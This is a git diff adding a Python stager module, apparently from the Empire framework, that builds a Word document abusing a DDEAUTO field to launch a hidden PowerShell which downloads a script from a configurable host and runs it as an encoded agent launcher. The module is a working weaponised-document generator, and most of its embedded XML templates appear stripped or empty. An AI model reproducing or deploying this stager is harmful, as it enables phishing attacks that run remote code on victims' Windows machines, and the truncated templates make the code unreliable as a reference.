diff --git a/lib/stagers/windows/macroless_msword.py b/lib/stagers/windows/macroless_msword.py new file mode 100644 index 0000000..f40fe1c --- /dev/null +++ b/lib/stagers/windows/macroless_msword.py @@ -0,0 +1,171 @@ +# -*- coding: utf-8 -*- +from lib.common import helpers +import os + +class Stager: + + def __init__(self, mainMenu, params=[]): + + # metadata info about the module, not modified during runtime + self.info = { + 'Name': 'Macroless code execution in MSWord', + + 'Author': ['james fitts'], + + 'Description': ('Creates a macroless document utilizing a formula field for code execution'), + + 'Comments': ["Hard work by Etienne Stalmas and Saif El-Sherei"] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener' : { + 'Description' : 'Listener to use for the payload.', + 'Required' : True, + 'Value' : '' + }, + 'OutputPs1' : { + 'Description' : 'PS1 file to execute against the target.', + 'Required' : True, + 'Value' : 'default.ps1' + }, + 'OutputDocx' : { + 'Description' : 'MSOffice document name.', + 'Required' : True, + 'Value' : 'empire.docx' + }, + 'OutputPath' : { + 'Description' : 'Output path for the files.', + 'Required' : True, + 'Value' : '/tmp/' + }, + 'HostURL' : { + 'Description' : 'IP address to host the malicious ps1 file.', + 'Required' : True, + 'Value' : 'http://192.168.1.1:80' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters + # are passed as an object set to the module and the + # options dictionary is automatically set. This is mostly + # in case options are passed on the command line + if params: + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self, obfuscate=False, obfuscationCommand=""): + + listener = self.options['Listener']['Value'] + output_path = self.options['OutputPath']['Value'] + output_docx = self.options['OutputDocx']['Value'] + host = self.options['HostURL']['Value'] + ps1 = self.options['OutputPs1']['Value'] + + if not self.mainMenu.listeners.is_listener_valid(listener): + print helpers.color("[!] Invalid listener: " + listener) + return "" + else: + launcher = self.mainMenu.stagers.generate_launcher(listener, language='powershell', encode=True) + + def create_directory_structure(outdir): + os.makedirs(outdir + "_rels") + os.makedirs(outdir + "docProps") + os.makedirs(outdir + "word") + os.makedirs(outdir + "word/_rels") + os.makedirs(outdir + "word/theme") + + def create_files(outdir): + content_types = """ +""" + + f = open(outdir + "[Content_Types].xml", 'w') + f.write(content_types) + + hidden_rels = """ +""" + + f = open(outdir + "_rels/.rels", 'w') + f.write(hidden_rels) + + docProps_app = """ +211270Microsoft Office Word011falseTitle1false81falsefalse16.0000""" + + f = open(outdir + "docProps/app.xml", 'w') + f.write(docProps_app) + + docProps_core = """ +AdministratorAdministrator12017-10-11T12:49:00Z2017-10-11T12:51:00Z""" + + f = open(outdir + "docProps/core.xml", 'w') + f.write(docProps_core) + + word_rels = """ +""" + + f = open(outdir + "word/_rels/document.xml.rels", 'w') + f.write(word_rels) + + word_theme = """ +""" + + f = open(outdir + "word/theme/theme1.xml", 'w') + f.write(word_theme) + + font_table = """ +""" + + f = open(outdir + "word/fontTable.xml", 'w') + f.write(font_table) + + settings = """ +""" + + f = open(outdir + "word/settings.xml", 'w') + f.write(settings) + + styles = """ +""" + + f = open(outdir + "word/styles.xml", 'w') + f.write(styles) + + web_settings = """ +""" + + f = open(outdir + "word/webSettings.xml", 'w') + f.write(web_settings) + + def craft_exploit(outdir, url, pshell): + document = """ +DDEAUTO C:\\\\Windows\\\\System32\\\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('%s/%s');powershell -noP -sta -w 1 -enc $e "!Unexpected End of Formula""" % (url, pshell) + + f = open(outdir + "word/document.xml", 'w') + f.write(document) + + def craft_ps(outdir, pshell_blob, fname): + pshell_blob = pshell_blob.split("powershell -noP -sta -w 1 -enc ")[1] + f = open(outdir + fname, 'w') + f.write(pshell_blob) + + if output_path[-1] != "/": + output_path = output_path + "/" + + create_directory_structure(output_path) + create_files(output_path) + craft_ps(output_path, launcher, ps1) + craft_exploit(output_path, host, ps1) + + print helpers.color("[+] '%s' and '%s' was created in the '%s' directory" % (output_docx, ps1, output_path)) + + return os.system("cd %s && zip %s%s -r [Content_Types].xml docProps/ _rels word && rm -rf [Content_Types].xml docProps/ _rels/ word/ && cd -" % (output_path, output_path, output_docx)) +